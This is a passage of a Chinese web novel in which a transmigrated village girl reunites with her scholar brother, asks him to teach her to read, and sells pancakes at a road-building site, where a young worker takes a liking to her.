“你妹妹胆子小，你怎地还吓她？快把那猪头拿回灶房。”张翠花终于是跟自个儿子对上了话，怪不得姝儿叫得这般大声，原是被吓的。
李挺一边说一边捡地上的黄瓜，张翠花则一边拿起南瓜示意李姝捡起地上的“漏手之瓜”回家，一边顺手接过了李挺捡起的那根黄瓜，李挺则一手猪头，一手拿起放在地上的布包——他最近看的书，三人看似默契地进了院子。
而李挺的声音还在继续，“这猪头本是老师祭祖用的，用完了便被师母拿回来切
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了，见我回家便分了我一半拿回来。”
张翠花并未说什么感谢的话，儿子的老师是很好的人，不仅不收束脩，还三不五时地让儿子拿些肉回来，自家没有什么好东西能报答，只每次都会让儿子带些晒干的菇子、豆角和白菜、过年的腊肉等拿给他们，两家来往已有好些年了。
张翠花进屋将南瓜放在角落，边说：“明日再拿块腊肉带回去，陈先生爱吃咱家的腊肉。”
李挺也已见怪不怪，只应了声：“好。”
将猪头放进灶房后出来李挺见李姝站在院里，便朝她招了招手，“姝儿，快来，哥哥给你带了你喜欢的绢花。”方才将自个妹妹吓一跳，以为她还在害怕，李挺便开始拿礼物缓和一头雾水的兄妹关系。
李姝......
人无语的时候，真的会翻白眼，她觉得自己现在眼珠子有点疼，她哥靠在门边歪头看着自己，姿态放松，伸手时仿佛在招狗...
她单方面和她哥不熟，真不知道她哥这模样其实是在讨好自己，也不知道往日里她看见她哥跟猫见老鼠一般，搞得李挺每次回来都要带些小东西，还要一脸笑意，李姝才会主动上前。
此时的李姝，指望她娘给自己主持公道已经不可能了，她娘现在都不敢正眼看她儿子！
于是，她单方面表示了不满，转头不看屋门口的人，按原身的性格，不喜欢的人应是会直接避开的。
幸好，李忠回来了。
“姝儿，怎地站在院子里？”
爹，我要告状，李姝眼神开始示意。
可李忠没有接收到女儿的眼神，他视线越过女儿往屋里看，见自家儿子站在堂屋门口处正一脸笑意，“挺儿，你回来了？”
“爹，您是去做什么活了？”李挺回来时并未见到李忠，两人相当于前后脚回来的，李忠教程快，回来时见到里长，便拉着里长去了李进家，前两天吴红枚坏女儿名声的事还没找里长做主。
李进本就是个锯嘴的葫芦，李忠当着里长的面将事情说了一遍，重点说了女儿名声的问题，他也没法反驳，里长也是知道吴红枚性子的，当下便严厉斥责了李进和吴红枚，说得那李进脸红一阵黑一阵，总算是应下了往后会好好管教自家婆娘的训斥。
至于吴红枚，伶俐的嘴早已排不上用场，只能暗地里恨得牙痒痒，看看自家男人，再看看李忠，气得不打一处来，闹得全家都不得安宁，直到和李挺一起回来的他们儿子李途进屋，方才停止了作妖。
而此时，李忠看着自家儿子一脸疑问，又看着女儿似是不愿进堂屋的模样，也想起来了，儿子还不知道女儿撞到脑子的事，至于自家婆娘，他清楚，定是还没将这事说出来。
“咳，我前几日应聘了官府的活计，你回来时看到县城到咱村子的路已经在修了吧？”李忠走到井边开始打水洗脸，忽略了李姝看向他的眼神。
姝儿，以你的聪慧，定是知道这人是你哥哥，应不用爹介绍了。
李姝看着他爹从欣喜变成心虚的脸色，对这位气质端方，笑起来亲和力十足的哥哥更加好奇了，原来他们的一家之主不是她爹，而是她哥？
16. 第 16 章
屋里，家里第一次人齐——至少在李姝穿过来后第一次，本应其乐融融互相分享各自生活，可桌前的气氛却...
“家里发生这么大的事，怎地都不通知我！”李挺脸色震惊，当他听到自己妹妹在床上躺了数十天，还不记得所有人和事时，又心疼又生气，怪不得妹妹从自己回来都没叫过一声哥哥。
李忠夹着碗里的菜，不知该放下还是该吃，见儿子盯着自己不动，有些讪讪地笑了，“我们也是怕影响你读书，你那什么考试不是说会影响往后考功名的成绩吗，我们不敢让你分心。”
“爹，你怎地这般糊涂！修身齐家治国平天下，书生岂能埋头苦读却将齐家之责视而不见，家中本就只有我一个男儿，更要将家中要事为先，若是为考取功名，便要将至亲之人抛在脑后，他日若我高中，又有何面目去尊享此功名？”
虽是一腔肺腑之言，李挺胸中却满是委屈，是自己还太弱小，无法护佑家人，让他们依靠自己。
李忠嗫嚅了半晌，沉默了。
一战，输了。
“怎么跟你爹说话呢？我，我们，也是为你着想，让你将心思放在读书上，不打扰你还错了？”张翠花话说得理直气壮，可语气还是透着心虚。
儿子往日虽不在家，却也是常常跟他们商量家里大事的，是她和丈夫的主心骨，这次，这次怎地就没想着去告知儿子呢？她没想明白，可李忠早就想通了原由，心下感叹着儿女都长大了。
“若往后我为了家里着想，为了不让爹娘担心，便谁也不说，自己上京去参加乡试，待考完得知名次后再回来告知爹娘，娘，您觉得是否错了？”李挺一脸正气，一双弯眉将眉心挤出了川字，明明身穿儒雅的学子服，周身的气势却是紧绷又严肃，让人不敢直视，也忽略了他本来毫无气势的面容。
“科举考试乃是大事，你怎能瞒着...”张翠花一时说漏嘴，反应过来时已经将自己方才的话堵了个严严实实，只好讪讪地拿着包子，咬了一口，又一口，不说话了。
二战，还是输了。
李姝看着将爹娘“训”得蔫蔫的哥哥，心里又是好笑又是温暖。
见爹娘都不再出声，她作为整件事的源头，还是得表表态，于是李姝深吸一口气，身子都不自觉地挺直，抬眼看向李挺。
谁知李挺也正看着她，不知道盯了自己多久，眼里有关心也有...探究，李姝猝不及防，她此时才发现，李挺的眼尾虽和自己一样，微微上挑，可眼框却比自己深许多，黑色的眼珠盯着自己时，竟有说不出的威严。
打了许久的腹稿就这么“胎死腹中”，李姝只挤出了一个字，“额...”像是朝着她哥打了一个嗝...
“回来许久了，为何不叫哥哥？”李挺此时又伤心又难过，自家妹妹虽不认得自己了，可回来这么久了，怎么也该知道自己是谁，却一直未跟自己开口，连绢花也不要了，妹妹小时候明明很喜欢跟在自己后面玩的！
他也就欺负李姝没有原身的记忆，若是李姝知道小时她是怎么被他哥“玩”的，定是不会让他吓得把话都咽下去了。
李挺小时很皮，除了他祖父能管一管他，家里没人能制得住。
当他得知自己一觉醒来便有了个妹妹时，愣是趁大人不注意将李姝抱了出去，说要给村里的小伙伴看，若不是他年纪小抱不动，将李姝放在椅子里拖出去，响声惊动了屋里睡着的张翠花，李姝怕是要被他晃下地，气得他祖父罚他一个月内不准再看妹妹。
长大一点便更皮了，带着妹妹和小伙伴上山下地，爬树遛狗，每次都吓得李姝嚎啕大哭。
上山时玩捉迷藏，李姝个子小，他把李姝藏在山上的小坑里让别人来找，谁知李姝睡着了，他自己又玩得太尽兴，完全忘了自家妹妹，到回家时才被问起，吓得张翠花腿都软了，李姝在山上哭得打颤，才被家人接回去。
爬树时非要跟张桂香的大儿子李成良比谁家妹妹厉害，各自将妹妹抱上了桃树，还带着妹妹在树枝上摇晃，桃枝很脆，即使只是小娃娃的重量，也是易折的，幸好桃树不高，几人摔在草地上没出什么事，可从树上摔下来，连胆大的小渔都被吓哭了，李姝更是哭得直喊娘。
于是，李姝自从自己能流利的说话时，便学会了跟她哥说不，也不愿被她不靠谱的哥哥牵出去玩了，而是自己跟在清芸和小渔背后，学着她们的样子给自己编花饰。
只是，自从祖父去世，家里境况一日不如一日，李挺便也渐渐断开了那顽皮的孩童时期，开始主动担起了家里的活计，学会了上山摘菇子，学会了做饭和熬药。
不知是不是听多了祖父那年轻热血的军中生活、那长枪回转刺向自己人的失望与报国无望、还有那苦中作乐的倒卖从商日子，李挺从一个顽皮的小崽子一下成长了，既能冷静沉着地商量家里之事，又能律己持正地约束自己，只有放松之时，才会在家人面前现出些许不靠谱，显露出他仅仅十六岁的年龄。
这些都是李姝不曾参与的过去，她不知道这样一个一时不靠谱，一时又正经严肃的哥哥，竟是自己唯一害怕的家人，小时是哥哥吓她，她害怕，后来哥哥越来越像祖父，却比祖父严厉，她更是害怕，连话都不敢和哥哥说，搞得李挺越来越喜欢笑，只为了让她妹妹不再害怕。
此刻的李姝迫于李挺的气势，竟也被压得不敢再多言，只乖巧地叫了声，“哥哥。”
自此，三战，全输。
李挺在家里的地位一如往日。
李挺更难受了，自家妹妹虽然不记得了，可好像还是害怕自己...哥哥的满腔宠爱，愣是找不到接收口，只好如往常一样，脸上露出和善的笑，朝着妹妹小声地应了一声。
李姝......
变脸这么快...方才的气势已荡然无存，此刻的李挺顶着那张娃娃脸，既亲和又儒雅，仿佛方才的人不是他。
张翠花见儿子终于笑了，悄悄松了口气，没办法，儿子从小得公
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爹教导，气势也越来越像，每每儿子严肃盯着自己时，总是让她不自觉绷紧了心口。
他抬眼看了眼李忠，示意他开口。
李忠虽不像张翠花那般紧绷，毕竟他年轻时也并不服老爷子管，只是他习惯了包容家人，对着家人他只会默默做事，连烦恼都只是私下跟婆娘说，从未让孩子们感受到父亲的威严。
见婆娘对自己使眼色，他知道这次的事儿子已经放下了，便出声打了圆场，“姝儿，不要怕，你哥哥从前很疼你的，总是给你带东西，小时也总带着你玩。”
李挺：爹，您其实也没必要提小时候的事...
“我，我没有怕。”李姝有点不想承认自己竟然被一个十六岁的少年压制了，只好嘴硬。
可她的反应在旁人看来还是在心有余悸，于是李挺笑得更温柔了...
“姝儿，哥哥明天带你，额，摘桃，摘菇子去？”李挺想找些事让自家妹妹重新认识自己，下意识地想带着妹妹爬树，想了想季节不对，又想带着妹妹上山。
这么多年了，其实他能带着妹妹出去干的事，还是只有那几样...
李姝松了一口气，既然说到日常，她终于可以找回自己的节奏了，并且发出了邀请，“明天我要去卖饼子，哥哥去吗？”
“饼子？”
李挺一脸茫然，低头看了看今晚的吃食，他后知后觉地发现，家里的食物似乎不一样了。
“这个吗？”李挺拿起桌上的韭菜鸡蛋馅饼，又看了一旁的包子，一脸惊奇。
李姝点了点头，张翠花终于找到了自己说话的当口，“这是姝儿自个琢磨的，儿子，你快尝尝，很好吃。”
李挺咬了一口馅饼，馅饼是中午的，已经冷了，为了保持好的口感，李姝没让她娘重新热，可即使这样，李挺也一脸意外地看向了妹妹，这饼子味道很好。
又拿了个包子，菌菇的香味直冲味蕾，包子皮带着韧劲，混着猪肉炒向的菌菇，李挺差点咬到了舌头。
“姝儿，你怎么会做这些？”
“姝儿以前怕不是一直琢磨着，只是不想让我们知晓，如今不记得事了倒是大着胆子做了出来。”张翠花都没给李姝开口的机会，便接过了李姝解释的活。
也好，总好过自己说，这位哥哥可不像爹娘那般迟钝，万一说多了，他可能会看出自己撒谎。
李挺听他娘这么说，倒也没再多想，只是他和爹娘一样，不自觉地想到了李姝怕是嘴馋却又不想让家里花钱给她买吃食，于是只能一遍又一遍地琢磨着做法解馋，才能让她即使失忆了也没有忘记做法。
“姝儿真能干，明日要去哪里卖饼子呢？”
李挺忍不住又拿了一个包子，咬开一看，是肉馅的，同样很好吃！
“去爹修路的地方。”李姝见她哥并未再问，心下松了一口气，直到此时，她突然会做吃食的事，已经让全家人都放下了怀疑。
“好，那明日我和你去。”
17. 第 17 章
“嗒，嗒”李姝敲响了李挺书房的门。
虽然和哥哥已经正式“相认”，可李姝知道，这位表面不靠谱实际心思敏捷的哥哥往后定能发现她的不同，今晚只是他对妹妹的疼爱让他一时之间没有往这方面想罢了。
从今晚的谈话中，她大致能猜出来，原身年纪稍长后，应和她哥接触不多，毕竟她害怕威严的哥哥大过父亲，那李挺对妹妹的了解应也大多停留在童年时期。
既然如此，自己何不主动出击呢？让她哥看到与他想象中不一样的自己，让他觉得是妹妹长大了，而不是换了另外一个人，只要他越早知道，便越能在往后的潜移默化中接受真正的自己。
于是，李姝自己找了个由头，过来和自家哥哥搭话，“哥哥，你在吗？”
“啪”门开了。
李挺一脸诧异，“姝儿？可是爹娘找我？”
“不是，是我想找哥哥。”李姝不知道，他这个举动让她哥有多震惊。
从前的妹妹绝不会主动过来找自己，除非是爹娘让她过来。
李挺也很无奈，妹妹胆子小，自从自己十四岁时和他爹吵了一架，并最后成功让他爹听了自己的意见后，姝儿便对自己“敬重”了起来。
以前她对祖父也是这般，乖巧听话，让做什么做什么，家里无论什么事都以祖父为先，可却很难跟祖父亲昵，想靠近祖父却又不敢，也不知这丫头究竟是怕些什么，祖父为此还烦恼了许久，刀削般威严的脸对着姝儿时愣是挤出了一脸慈爱，说话都小心翼翼，可姝儿还是会怕。
后来他才知道，年幼的姝儿害怕的不是祖父，而是祖父身上即使经过十几年，也从未抹去的肃杀之气，自己在家里落魄时主动担起了齐家之责，可又因年少历事少，便有意无意地模仿了祖父，说出的话做出的事总是带着戾气。
而妹妹，便是家里的镜子，脆弱亦碎却又明亮澄澈，将自己的丑陋照得一览无遗。
直到他去了学院读书，才发现了原因，从那之后，他便学会了收起这些因埋怨自己无能而发散的毒刺，越发内敛了起来。
从前他总觉得父亲无能，没有祖父的智慧与魄力，可如今，他却很感谢父亲，愿意在自己浑身戾气之时包容自己，他虽没有祖父之能，却是家里隐形的靠山，坚实的后盾，姝儿从小最喜欢的便是父亲，也是因为这个原因吧。
所以他后来便渐渐学会了父亲的和善与包容，而姝儿也愿意在自己一脸笑意时靠近自己，虽还是不愿过多接触，但至少爹娘让她过来叫自己时，她也不会排斥。
如今这个失忆了的妹妹，却主动过来找他，他的第一反应竟不是高兴，而是疑惑。
眼前的妹妹看着自己时眼神不再闪烁，比今晚在饭桌上镇定了许多，她自然地对着自己笑，姿态放松，落落大方，这是他从未见过的一面。
“姝儿，你找哥哥是有什么事吗？”李挺让开门口，示意李姝进来，他逐渐对妹妹好奇了起来，是因为失忆了，所以才敢靠近吗？从前姝儿对着爹娘时，是这般模样的？
“哥哥，你可以教我认字吗？”李姝说出一早想好的理由，她往后定是会不经意的表现出不同于平日的行为或言论，如今主动找她哥认字，往后就可以自己看书，那自己的行为便有了解释的去处，不会显得突兀了。
“哦？姝儿想认字了？”往日妹妹看见字就头疼，祖父和他自己都教过她，虽她每次都乖巧地坐在一旁认真学，可却一直记不住，气得祖父次次都将爹骂得狗血淋头——因为爹也是这样，最后妹妹也只是认得简单的数字，三字经都没认全。
失忆了，变化这么大吗？对他的态度变了他大致明白，可连习惯都变了？
一瞬间，李挺眼底滑过疑惑，看着妹妹的眼神不自觉地带了探究。
李姝瞧着她哥眼神从疑惑但怜爱变成疑惑且探究，内心瞬间紧绷了，方才还好好的，怎地突然这样了？
她回忆了从敲门到进门自己的举动，一瞬间便明白哪里出错了，她收集了这么多关于原身的消息，竟没想到原身是个不喜欢读书的学渣...
上次她找娘要纸笔时敷衍她娘说自己要练字，也没见娘说过什么啊，除了...她娘过于高兴。
原来是高兴自家学渣女儿终于开窍了？？？
心思急转，李姝改了原本想说的话，“前日爹拿了契书回来，我看了之后发现...不认得上面的字。”
说到这，李姝故意停顿了一会儿，飞快地看了她哥一眼后，双手紧握，似是紧张又似是羞愧，连声音都变小了，“往后我定是要去县里卖吃食的，听说租铺子也要契书，若是看不懂...”
李挺懂了，妹妹将自己做的吃食卖出后，定是十分高兴，怕是都已经想好了往后在县里开大铺子的事了，他没有泼冷水，只是笑着问：“往后哥哥给你看可好？”
“若是哥哥不在呢？我也要看的，不识字若是被骗了怎么办？爹娘认的字还没我多。”李姝眉头微皱，眼里带着苦恼，她不想认字，可她有自己的“事业”，说着说着，连声音都带了委屈。
李挺彻底打消了疑虑，觉得自己近日
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越来越疑神疑鬼，方才居然有眼前这人不是自己妹妹的想法，往日自己十日才回家一趟，妹妹早已长大了，是他没有好好关心她，只一味地拿些小东西塞给妹妹，从没有跟妹妹好好相处。
“哥哥答应你，但你也要答应哥哥，不许偷懒，不然要打手心的。”既然妹妹主动送上门来要求认字，那自是要先立好规矩，李挺怕这一脸不愿的妹妹没两天便放弃了。
“好，哥哥，那我以后可以在书房练字吗？”李姝得寸进尺，虽说家里的房间自己应是去哪都可以，但书房怕是从小到大一直都属于李挺，每个人都有自己的癖好，读书人怕是尤其忌讳别人不问自取。
“可以，但不能弄乱。”
果然。
“好。”李姝转头看了看书房，说是书房其实也只是一个稍小些的房间，除了一个书柜便只有窗前的一张书桌，连屏风都没有，藏书也不多，应是之前家里光景好时买的，或是祖父自己留下的。
“哥哥，我可以看这些书吗？”李姝不经意间说出了今晚的目的，认字只是基础，最重要的是要接触书籍，往后自己的行为和观点只要不是过于离经叛道，应都可以归为从书上看的。
“你看这些书做什么？”李挺一脸无奈，自家妹妹似是胃口有些大，连认个字都头疼的人，这会儿觉得自己能看懂这些书了？
“爹说的，看书认字快。”她娘说了，她爹是个学渣，那什么时候是学渣认字最快的——当然是看小说、故事书或者其他不务正业的杂书时认字最快。
李挺......
“你别听爹的。”李挺一脸黑线，得先给妹妹找些能看的书，不然她囫囵吞枣地看，怕是更学不进去了。
“明日我们卖了饼子，便回来开始第一堂课，哥哥届时给你找你能看的书，可好？”
“好，哥哥你的书房都没有花，我可以拿些花进来吗？”
“可以。”
“哥哥你的书桌太高了，我可以搬我的桌子进来吗？”
“你哪来的书桌？”
“我屋里榻上有案桌。”
“你是不是想练字时睡觉？”
李姝......所以以前的自己练字时总睡觉？怪不得她哥听到自己主动认字会这么诧异，真是好样的，比她还不思进取。
妹妹虽然不怕自己了，可也太活泼了...
无论如何，总算是彻底搞定了哥哥。
无论如何，妹妹总算是不怕自己了，李挺开始祈祷，希望妹妹以后即使恢复记忆，也能像现在这般。
18. 第 18 章
烈日炎炎，李挺一手提着篮子，一手提着水坛子，健步如飞地走在前面。
身后，李姝顶着一脸的生无可恋...越走越慢，汗水打湿了她的额发，灼热地呼吸越来越快，她以前就不爱出门，也不喜欢逛街，原身怕也很少这么走，连续走了两日，腿肚子一扯便疼，脚底也像是在冒火。
李挺虽说是书生，可他毕竟是农家子，每到农忙，定是要回家干活的，这点路自是没有什么问题，可李姝实在忍不住了，“哥哥，先休息一会儿吧。”
就近找了个山脚的树荫底下，李姝坐了下来，也顾不得保持形象了。
李挺回头，看着自家妹妹靠在树干上，双腿一前一后微屈，一只手随意地搭在膝盖上，一只手懒散地拿着帽子扇风，竟意外地有些男儿气。
李挺微微挑眉，这模样，他倒是第一次见，只觉得妹妹越发可爱，也更加心疼，脸上不自觉便柔和了起来。
“姝儿，喝点水吧。”
看着精气神十足的哥哥递水过来，再看看自己狼狈地腰酸腿软，李姝满含怨念的看了身前的人一眼，人类的参差啊...
头顶一声轻笑传来，李姝怨念更深了...
李挺笑得眉眼弯弯，他从不知妹妹如此有趣，此时他才发现，妹妹的双眼竟十分灵动，将喜怒哀乐传递得栩栩如生，拍了拍妹妹的头顶，他语气轻快地说：“快喝吧，别瞪了，再瞪眼珠子都要出来了，丑。”
果然，天下的哥哥在对待妹妹这件事上都一个样，要么喜欢怼，要么喜欢逗...
“哥哥，若是买一辆驴车，需要多少银子。”
“哈哈哈哈哈！”李挺再也忍不住，自家妹妹眼睛扑闪着，认真地问自己的模样，呆萌又可爱，妹妹啊，哥哥今天第一堂课先给你上个算术课吧。
李姝...
这兄妹没法当了！
看妹妹气呼呼地起身要走，李挺终于止住了笑声，只眼尾还含着笑意，拉着李姝开始哄：“好了，好了，哥哥不逗你了。”
不知是不是原身年纪太小，身体没发育完全，李姝觉得自己性子似乎也越来越“小”，轻易地就被哥哥掌控着情绪，就像此时，明明方才确实有被看低的怒气，可看着眼前神情温柔的人，怒气却瞬间消散了。
李姝隐隐有些尴尬，神情中透露着些许懊恼，明明是二十八的灵魂，却有着十四岁的行为。
幸好李挺也没多想，顺势便开始跟李姝说了驴车的事：“姝儿为什么想买驴车？”
李姝很想说是为了不想走路，但这么说确实是有点太孩子气了，方才李挺笑成那样，不就是因为这个吗，于是她换了个说法，“往后去县城卖吃食需要用，驴还能帮爹干重活呢。”
李挺没有拆穿，他对妹妹如今主动思考往后的“事业”感到欣慰，虽想法稚嫩，可也算是有成算，并不像一时兴起，所以他不想泼冷水，只是正色道：“有想法是好事，若是往后还有想知道的，尽管来问哥哥。”
“哥哥还让我问呢，驴车的价钱你都说不出来。”
李挺起身，拿起东西便走，见自家妹妹还在原地，笑着摇了摇头，“不是想知道驴车的价钱吗？快跟上，哥哥边走边说。”
这是，怕自己赖着不愿意走，所以哄小孩？？
李姝站在原地，想反驳，可方才自己的表现，也确实没什么说服力...
怎么变成这样了呢...
李挺没有关注妹妹那不情不愿的小情绪，只说着这平山县的驴价，给自家妹妹当故事听。
“不同的驴是有不同价钱的，若是健壮的成驴，价钱定是要高些，约莫是五六两银子。”见妹妹走得慢，李挺便也放慢了脚步，嘴上却是没停。
“若是健壮但有残，如独眼，坡腿等，价钱便稍便宜些，看驴的情况，能便宜个一两银子。”
“若是老驴，则更便宜，可以和店家议价，运气好的话，怕是不用一两银子便能买到。”
李姝默默听着，算了算收益，怕是要至少半年才能买得起...老驴她不想考虑，性价比不高，容易血本无归。
本以为妹妹听了后会泄气，可李挺却发现自家妹妹边听眼珠子边滴溜溜地转，显然是在思考，像是在算自己什么时候能买得起。
可是...妹妹心算这么厉害吗？
小时虽教了她一些简单的数数，可那时的她算数都需要拨许久的算盘，并不能心算。
李挺心思微动，不动声色地问：“怎么样，姝儿？你考虑好想买什么样的驴车了吗？”
“健壮的成驴吧，性价...额身...价高一些，力气大，也能用得久一些。”
好险，差点说顺嘴了。
然而李挺心思并不在这，也没有在意那磕磕巴巴的话，只继续问：“那姝儿打算什么时候买呢？”
方才的顺嘴让李姝心思谨慎了些，但她有些摸不准，哥哥是故意问的还是仅仅只是聊天，明明昨晚已经放下戒心了不是吗？
李姝没有转头看她哥，只是装作认真走路的模样，盯着脚下的路，语气自然地答：“当然是攒够钱了便买。”
没想到是这么个回答，李挺轻笑摇头，还以为自家妹妹有些算术天分呢，是他想多了。
想多了的人不止他一个，李姝余光看着自家哥哥的表情，也知道自己方才想多了。
刚认识一天的哥哥，她确实还有些一惊一乍，无法全然信任，只是经过这一遭，她的心房也正一步一步卸下了。
到修路点时，工人们已经陆陆续续地在找地休息了，兄妹俩走走停停，还是比前两日晚了些到。
眼尖的工人已经看到李姝了，打算买饼子的已经自发往李姝停下的地方走，熟识地已经开始搭话。
“姝丫头，你娘亲今日没有来吗？”
“没有，这是我哥哥，今日书院询假，他便跟我一道来了。”
周围的人一听在书院读书，再看来的男子温润端方，一身旧衣也难掩他气质出众，顿时都敛了敛心神，说话声音都小了许多。
连张蒙都不自觉放低了声音，只对着李姝问：“姝丫头，你哥哥在什么书院读书？”
李挺放下手中的吃食，向众人见了礼，随后便看向张蒙，语气谦逊，“小生就读于平山书院。”
语罢，人群中不止一个的“惊呼”声便传了出来。
李姝并不意外，自家哥哥既然能考上秀才，他所在的书院也定是县里最好的书院。
此时李忠也已走了过来，工人碍于身份不便和兄妹俩多说什么，可李忠是平辈，他们便无需顾忌，与他相熟的人瞬间便围了过去，“李忠兄弟，好福气啊，你这一双儿女真真是让人羡慕，平日里都是如何教导的？”
李忠早已熟练，特别是儿子成为秀才后，他听到最多的夸奖便是这些，一家人早就养成了波澜不惊的心态，“哪里哪里，我这当父亲的实在惭愧，都是我家老爷子教得好，我倒是没出什么力气。”
“老爷子是？”
“我家老爷子从前上战场杀过蛮人，还是百夫长。”
“豁！”新的一轮恭维又开始了。
桃李村的村民还顺势说了李挺是秀才的事。
一瞬间，人群更加热闹了，
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此起彼伏的声音更是从未间断。
一群人围着他们爹恭维，主角却在人群外看热闹。
李姝靠在树下扇风，李挺有样学样，也跟着妹妹一起，连慵懒的模样都一模一样。
这些羡慕甚至有时是捻酸的话，李挺早就听了许多，他从未因自己是秀才而觉得沾沾自喜，相反还更加坐立不安。
爱操心的性子让他还未开始享受夸赞，便自己将自己推进了乡试会试殿试的坑，也导致了他前几年像是浑身长刺一般，强行接过了家里的话语权。
如今的他早已不是浑身长刺的少年，他百无聊赖地看看天，看看远处三三两两休息的人，看看旁边...嗯？
李挺眼神回转，旁边的黑小子是谁？
黑小子当然是王涛。
李姝记着昨天王涛对自己的劝解，虽并未说话，可他阻止自己的动作就能看出来，这个年纪跟她哥哥一般大的人，有着沉稳的性子，是个聪明机敏的人。
看到王涛在不远处没有过来，昨天他好像是向别人借钱买的馅饼，今日，怕是没钱再买了。
于是李姝朝他招了招手，示意他过来，一边拿起两个饼子包了起来。
王涛有点不知所措，他听到了她的哥哥是秀才的事，他应该为她高兴的，可心里却没由来的一阵失落，也不敢再靠近，只好远远地望着。
看到李姝对自己招手时，他愣住了，甚至左右看了看才确定她是在叫自己，可走到她面前后，他又不知该说什么，双手抓着衣角，连站姿都别扭了起来，无论怎么站都不合适。
李姝倒没多想，只觉得眼前的少年是个少话的，她将馅饼递到了王涛面前，“给，谢谢你昨天拉住我，我请你吃馅饼。”
王涛不可置信地抬头，呆呆地盯着眼前有着明媚笑容的李姝，无法思考，只发出了疑惑，“啊？”
李挺看妹妹并未表露其他情愫，知道她仅仅只是感谢，便未出声阻止。
可这黑小子...眼里直白的亮光都快刺伤自己了！
于是李挺不错眼地盯着他，不自觉地便严肃了起来，周身的气势越发紧绷。
李姝看着不知所措地王涛，拿着馅饼又递了递，解释道：“昨日若不是你拉住我，我怕是要闯大祸，拿着吧，我没有什么能感谢的，只好请你吃馅饼，希望你不要嫌弃才好。”
“我不嫌弃你。”刚说完，像是反应过来这话有调戏别人之嫌，脸倏的一下红了，手忙脚乱地开始解释。
“不，不是的，我，我的意思是，是，是我不嫌弃你的馅饼，馅饼很好吃。”一句话说完舌头都快打结了，王涛又急又羞，就差举手发誓了。
“噗嗤！”
王涛回神，看眼前的少女眼神清亮，笑意盈盈，大方地看着自己，知道对方并不是嘲笑，挠挠头也笑了。
像是终于找回了自己，也或许是不想自己比姑娘还扭捏，王涛终于完整地说了一句话，“不用谢，昨日那监头确实可恶，他看不上这些食物，只因他目光短浅，从未吃过这么好吃的东西罢了。”
李姝有点意外，这小伙子确实不错。
“你叫什么名字？”
“王涛。”
顿了顿，王涛又回问了一句，声音带着些期待“你呢？”
“我叫...”
“咳咳！”
李姝还未说，便被身后的咳嗽打断了，转身一看，自家哥哥头上快冒火了，一双弯眉愣是被挤成了冲天眉，李姝心下偷笑，却不敢面上露出来，只是回头对王涛说：“很高兴认识你。”
两个男人都一愣，“这是什么话？”
19. 第 19 章
话落时，李姝反应过来，她又说错话了。
她不在乎眼前这个叫王涛的小伙子是什么反应，只是，哥哥还在身后...
“额，我是说，知道你叫什么名字，我很欢喜。”这样说应该没问题..吧？
李姝没再往后看，只是尽量挺直了背，维持着方才的笑容，可她眼里尴尬不安的情绪却出卖了她，王涛...
王涛压根没看到！此时他心思漂浮的模样像是喝醉了一般，刚平复的心情又蹿起来，脸也越来越红...
“她方才说欢喜吗？”一瞬间，少年人天马行空的心思早已绕着世间走了好几遭，身后以李忠为核心的人群中恰好传来“往后想给女儿许配什么人家”的问询，王涛在轻飘飘地思绪中恍然听到了蒙叔的声音，他儿子还小，是帮谁问的..？
这，这是..帮...也不知道想到了什么，又想到了哪一步，“唰的一下”，王涛连脖子都开始红了，红黑红黑的皮肤像是在黢黑的身上套了喜服，站立的姿势换了又换，浑身像是长了跳蚤。
李挺脸瞬间黑了，欢喜？什么欢喜？欢喜什么？欢什么喜？
“姝..小妹，快给爹拿水过去，爹都渴了。”
“啊？哎，好！”听见自家哥哥并无异样，李姝放心了，也并未多想为什么她哥自己不拿，低头拿水起身，一气呵成，仿佛先前在路上拉着她哥哥休息的人不是她...
支走了妹妹，李挺起身，因着树下的小坡，他站起来比王涛高了一个头，但他并不想以势压人，只是温和委婉地叫醒了眼前的傻小子，“王兄，昨日多谢了，我家小妹年纪小，家里人总是多宠一些的，行事也总是小孩子一般，若是有不妥之处望王兄不要计较。”
意思是：妹妹年纪小，家里没打算让她早早嫁人！
王涛虽聪明，却也是赤诚之人，心思不会有这么多弯弯绕绕，只当李挺是客气，于是回了个礼：“李兄弟不必多礼，令妹聪慧直率，小小年纪便有一双巧手，让我..我们都很是佩服，何来计较之说呢？我..我们都很是羡慕呢。”
话倒是利索了，至于人，说他傻，又是爽朗赤诚的少年人模样，说他不傻，又听不懂别人话中之意。
李挺暗暗摇头，也不再阴阳怪气，“过奖了，多谢照顾家妹生意，好吃的话日后常来。”
这是赶人了，王涛这倒是能听出来，也确实不好站在这里打扰人家的生意，于是便利落地作揖走了。
李挺看在眼里，暗暗赞赏，人倒是确实不错。
而此时人群中的李姝看着这一前一后，一高一低的两人，心里顿时觉得割裂，明明这两人都只是十六七岁的少年人，待人谈话却又成熟知礼，分寸感十足，她哥还像长辈一样看着王涛...偏偏两人也没觉得哪里不妥。
怪不得说古代人早熟，更别说古代的读书人了，她哥靠谱起来时，气质端方沉稳，很是能唬人。
但这场景...
李姝有点后知后觉，王涛这小伙子，是喜欢我..吗？
哥哥是看出来了？
真不是李姝迟钝，她看王涛像是在看小孩子，脸上的笑容都是慈爱的...完全忘了自己现在十四岁！年纪上确实可以当他媳妇了...
这...
李姝有点心虚，心理年龄上的差异让她莫名地被良心谴责，好像...闯祸了...
“姝儿？姝儿！”
“哎！”沉浸在自己思绪中的李姝被吓得一激灵，回神后发现她爹正看着她，怎么了？李姝疑惑眨眼，父女两人大眼对小眼，直到手中传来拉扯的力道...
李姝低头，发现自己拿着水坛子一直不放手，她爹扯都扯不过去。
她赶紧放手，“呵呵，爹，您喝水。”
此时周围的工人都已经识趣地散开了，买饼子的到前面排队，不买的也找地休息，李忠瞧着自家女儿像是心神不宁的模样，以为女儿太累了。
“怎地了？累着了？”李忠满面尘土，可却掩盖不住眼里透出的关心。
李姝心下一暖，暂时将那少年的心思搁置一边，打算往后有机会找他说清楚，少年人的爱恋虽纯粹，可却也经不起考验，只要自己明确拒绝，应不会给他造成什么太大的伤害。
“爹，我不累。”想了想，李姝从腰间的布袋中拿了块布出来，“这是娘让我给您带的帕子，您擦擦脸。”
这几日李忠回去都是满面尘土，因着出了汗，脸上东一块黄，西一块黑，且晚上回去脸都开始刺痒了，张翠花便像城里人一样裁了条汗巾帕子，虽不精致，也未绣花，可却是家里最吸汗的料子。
李忠笑着接了，似是在女儿面前不好意思，也没立马擦脸，只说道：“若是走累了，明日便不来了，在家里休息好了再来。”
“爹，我不累，我先去帮哥哥了，您擦擦脸吧。”
